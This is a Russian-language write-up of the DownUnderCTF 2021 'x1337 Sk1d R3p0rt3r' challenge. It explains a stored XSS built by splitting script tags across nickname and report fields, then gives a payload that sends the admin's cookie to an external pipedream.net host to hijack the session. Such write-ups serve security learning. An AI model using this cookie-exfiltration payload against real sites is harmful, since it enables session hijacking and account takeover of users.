DownUnderCTF 2021 (x1337 Sk1d R3p0rt3r)

Рисунок 1 — Задание

Заходим на сайт, смотрим сурс код, там ничего интересного. Регаем аккаунт и логинимся. Есть вкладка Dashboard, там можно оставлять заметки. Путём проб и ошибок вычисляю, что потенциально опасные символы преобразуются в HTML Entities:

Рисунок 2 — Пользовательский ввод в DOM-модели

Также выясняю, что, когда отправляешь репорт создаётся раздел, где хранится этот репорт, по принципу: /report/n, где n номер репорта. А в этом разделе отображается текущий репорт и ещё 2 прошлых. И там же есть кнопка Send Report to Admin. Очевидно будем воровать куки. Но как это сделать, если ввод так фильтруется? Во вкладке Dashboard, помимо отправки репорта есть кнопка смены никнеймы. Пробую вставить пейлоад туда, но он ограничен 10 символами, поэтому пробую вставить открывающий и закрывающий тег, обновляю никнейм и отправляю рандомный репорт. В ответе вижу, что эти символы в части никнейма не фильтруются. Очень долго думая, как это реализовать, прихожу к выводу, что нужно взаимодействовать с полем, где отображаются прошлые репорты. Сейчас объясню на картинке:

Рисунок 3 — прошлые репорты и никнеймы

Я поменял ник на nick1, и отправил репорт содержащий report1, и так проделал ещё 2 раза, соответственно меняя цифру. Как видно, nick3 -> report3 это последний сделанный репорт. И он записывается отдельно в теге <p></p>. Также видно, что в конец ника дописывается закрывающий тег, а в конец репорта записывается <br/>.

Пробую поменять ник сначала на </script, а в репорт пишу что угодно, и отправляю. Теперь меняю ник на <script, а в репорте пишу alert(123);// и отправляю. Теперь меняю ник на рандомный и отправляю рандомный репорт. Бум и XSS исполнена.

Рисунок 4 — alert(123)

Сурс код приобретает такой вид:

Рисунок 5 — сурс код после успешного внедрения script тегов

Теперь проделываем снова все прошлые операции, но теперь во втором репорте вставляем следующий пейлоад:

window.location=`https://engjqnfcn4nu5qg.m.pipedream.net/?v`+document.cookie;//

Не забываем, что обычные одинарная и двойная кавычка фильтруются, поэтому я использую знак гравис (там, где буква ё на клаве), чтобы указать ссылку. Также не забываем в конце два слеша, чтобы закомментировать тег <br/>. Отправляем, и ещё раз меняем ник и отправляем репорт.

Рисунок 6 — сурс после последнего пейлоада

Номер нашего репорта 128. Делаем запрос по /send2admin/128. Ловим токен админа. Меняем значение своего, на пойманный, и ловим админскую сессию, там заходим в репорты и забираем наш флаг =)

Рисунок 7 — заветный флаг 🙂

Оставьте комментарий